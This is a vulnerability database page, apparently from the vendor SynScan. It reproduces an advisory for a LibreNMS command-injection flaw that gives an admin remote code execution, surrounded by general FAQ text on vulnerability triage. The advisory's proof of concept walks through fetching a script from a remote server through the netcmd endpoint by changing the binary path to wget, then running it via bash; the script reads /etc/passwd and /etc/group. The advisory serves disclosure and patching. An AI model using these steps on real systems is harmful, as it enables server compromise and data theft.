How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

383,463

Total vulnerabilities in the database

LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write — librenms / librenms

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Summary

A vulnerability has been identified that allows an authenticated administrator to execute arbitrary code on the host server. By modifying the binary path settings for built-in network tools and bypassing an input filter, an attacker with administrative privileges can download and execute malicious payloads.

Details

The application allows administrative users to configure the absolute binary paths for network diagnostic tools at /settings/external/binaries. This setting does not sufficiently validate ensuring the paths remain restricted to safe, intended executables. These tools are invoked by sending a request to the GET /ajax/netcmd endpoint. While there is an existing input filter designed to restrict arguments to valid IP addresses or hostnames, this filter can be bypassed.

PoC

To reproduce this vulnerability, a remote HTTP server should be hosted with a malicious script/executable, ensure the remote server is reachable by the server running LibreNMS. The PoC will use the file malicious.sh containing the following content. It will return the content of /etc/passwd and /etc/group, current working directory, username that is running the script, and it will list files of the current directory.

#!/usr/bin/env bash

cat /etc/passwd
cat /etc/group
whoami
pwd
ls

Host a remote HTTP server that the server can reach and place the malicious script on the remote server. For demonstration, I will start it on localhost. <img width="593" height="481" alt="image" src="https://github.com/user-attachments/assets/ef235f8e-089b-462c-b12c-7b5ae2037fc5" />
Make sure the malicious script malicious.sh can be downloaded. <img width="516" height="100" alt="image" src="https://github.com/user-attachments/assets/60b04755-e824-4384-81f2-2feacdc8e273" />
Login with an admin account and navigate to Global Settings -> External -> Binary Locations <img width="797" height="201" alt="image" src="https://github.com/user-attachments/assets/f914cc9e-f45b-444f-8f16-058101d84576" />
Change the whois binary path to the path of wget (e.g. /usr/bin/wget). <img width="478" height="58" alt="image" src="https://github.com/user-attachments/assets/57fbf033-ff07-41dc-9bac-2f3b3e897ea6" />
Send the request GET /ajax/netcmd?cmd=whois&query={remote http server's ip address}/malicious.sh. The response should contain wget's output, and malicious.sh would be downloaded by the server. <img width="900" height="209" alt="image" src="https://github.com/user-attachments/assets/942b6082-18db-4838-b06c-b98d7fa1f8d0" />
After that, change the whois binary path to the path of bash (e.g. /bin/bash). <img width="751" height="56" alt="image" src="https://github.com/user-attachments/assets/0c11d86e-0dab-4780-bdb7-f328bbb758f8" />
Send the request GET /ajax/netcmd?cmd=whois&query=malicious.sh to execute the script. <img width="846" height="688" alt="image" src="https://github.com/user-attachments/assets/d4dcf8e9-5a75-407c-8dd4-96d11f090dbe" />

Impact

This vulnerability allows a malicious actor to achieve Remote Code Execution (RCE), potentially leading to complete system compromise, data exfiltration, or lateral movement within the network.

Remediation Advice

Loading Binary Path from a config file instead of exposing settings in WebUI can eliminate this issue. If it is not possible, enforcing more validations and fix the ip_or_hostname bypass in https://github.com/librenms/librenms/blob/master/app/Providers/AppServiceProvider.php#L169 to reduce the risk of RCE.

Prerequisite

The attacker must have a valid Administrator account to exploit this vulnerability.

Published: Mar 26, 2026
Updated: Aug 29, 2026
GHSA: GHSA-pr3g-phhr-h8fh
Severity: High
Exploit:
CISA KEV:

No technical information available.

CWEs:

OWASP TOP 10:

Affected Software
References

Software	Affected versions
librenms / librenms	`>= 1.48, < 26.3.0`

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.